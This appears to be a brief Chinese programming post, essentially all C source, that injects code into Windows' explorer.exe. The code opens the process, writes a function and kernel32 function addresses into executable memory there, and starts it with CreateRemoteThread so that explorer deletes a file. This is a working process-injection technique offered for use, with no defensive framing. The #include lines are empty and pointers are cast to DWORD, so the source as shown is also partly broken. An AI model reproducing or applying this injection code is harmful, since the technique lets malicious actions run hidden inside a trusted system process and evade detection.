把自己的代码注入explorer.exe。详细参见源代码
#define UNICODE
#define _UNICODE
#include
#include
#include
typedef struct _remoteparameter
{
DWORD rpfindfirstfile;
DWORD rpdeletefile;
DWORD rpfindclose;
HANDLE rpfilehandle;
WIN32_FIND_DATA rpfdata;
TCHAR rptname[MAX_PATH];
}REMOTEPARAMETER, *PREMOTEPARAMETER;
DWORD GetProcessId(LPCTSTR str)
{
HANDLE hProcessSnap = NULL;
PROCESSENTRY32 pe32 = {0};
// Take a snapshot of all processes in the system.
hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hProcessSnap == (HANDLE)-1)
return -1;
// Fill in the size of the structure before using it.
pe32.dwSize = sizeof(PROCESSENTRY32);
// Walk the snapshot of the processes, and for each process,
if (Process32First(hProcessSnap, &pe32))
{
do
{
if(_tcsicmp(str,pe32.szExeFile)==0)
{
CloseHandle (hProcessSnap);
return pe32.th32ProcessID;
}
}
while (Process32Next(hProcessSnap, &pe32));
}
CloseHandle (hProcessSnap);
return -1;
}
DWORD WINAPI remote(LPVOID pvparam)
{
PREMOTEPARAMETER erp=(PREMOTEPARAMETER)pvparam;
typedef HANDLE (WINAPI *EFindFirstFile)(LPCTSTR, LPWIN32_FIND_DATA);
typedef BOOL (WINAPI *EDeleteFile)(LPCTSTR);
typedef BOOL (WINAPI *EFindClose)(HANDLE);
EFindFirstFile tFindFirstFile;
EDeleteFile tDeleteFile;
EFindClose tFindClose;
tFindFirstFile=(EFindFirstFile)erp->rpfindfirstfile;
tDeleteFile=(EDeleteFile)erp->rpdeletefile;
tFindClose=(EFindClose)erp->rpfindclose;
erp->rpfilehandle=tFindFirstFile(erp->rptname,&erp->rpfdata);
if(erp->rpfilehandle!=INVALID_HANDLE_VALUE)
{
if(!tDeleteFile(erp->rptname))
{
return -1;
}
}
if(!tFindClose(erp->rpfilehandle))
{
return -1;
}
return 0;
}
int main()
{
// TODO: Place code here.
TCHAR name[20];
_tcscpy(name,_T("c:\\shenyue.txt"));
HANDLE ethread;
DWORD remotepid;
int cb;
REMOTEPARAMETER rp;
HINSTANCE hkernel32;
LPVOID remotethr;
LPVOID remotepar;
remotepid=GetProcessId(_T("explorer.exe"));
if(remotepid==-1)
return -1;
HANDLE rphandle=OpenProcess(PROCESS_CREATE_THREAD |
PROCESS_VM_OPERATION |
PROCESS_VM_WRITE,
FALSE,remotepid);
cb=sizeof(TCHAR)*4*1024;
remotethr=(PTSTR)VirtualAllocEx(rphandle,NULL,cb,MEM_COMMIT,PAGE_EXECUTE_READWRITE);
if(remotethr==NULL)
{
CloseHandle(rphandle);
return -2;
}
if(WriteProcessMemory(rphandle,remotethr,(LPVOID)remote,cb,NULL)==FALSE)
{
CloseHandle(rphandle);
return -2;
}
{
memset(&rp,0,sizeof(rp));
_tcscpy(rp.rptname,name);
hkernel32=GetModuleHandle(_T("kernel32.dll"));
rp.rpfindfirstfile=(DWORD)GetProcAddress(hkernel32,"FindFirstFileW");
rp.rpdeletefile=(DWORD)GetProcAddress(hkernel32,"DeleteFileW");
rp.rpfindclose=(DWORD)GetProcAddress(hkernel32,"FindClose");
}
cb=sizeof(TCHAR)*sizeof(rp);
remotepar=(PTSTR)VirtualAllocEx(rphandle,NULL,cb,MEM_COMMIT,PAGE_READWRITE);
if(remotepar==NULL)
{
CloseHandle(rphandle);
return -2;
}
if(WriteProcessMemory(rphandle,remotepar,(LPVOID)&rp,cb,NULL)==FALSE)
{
CloseHandle(rphandle);
return -2;
}
ethread=CreateRemoteThread(rphandle,NULL,0,(LPTHREAD_START_ROUTINE)remotethr,(LPVOID)remotepar,0,NULL);
if(ethread==NULL)
{
CloseHandle(rphandle);
return -3;
}
return 0;
}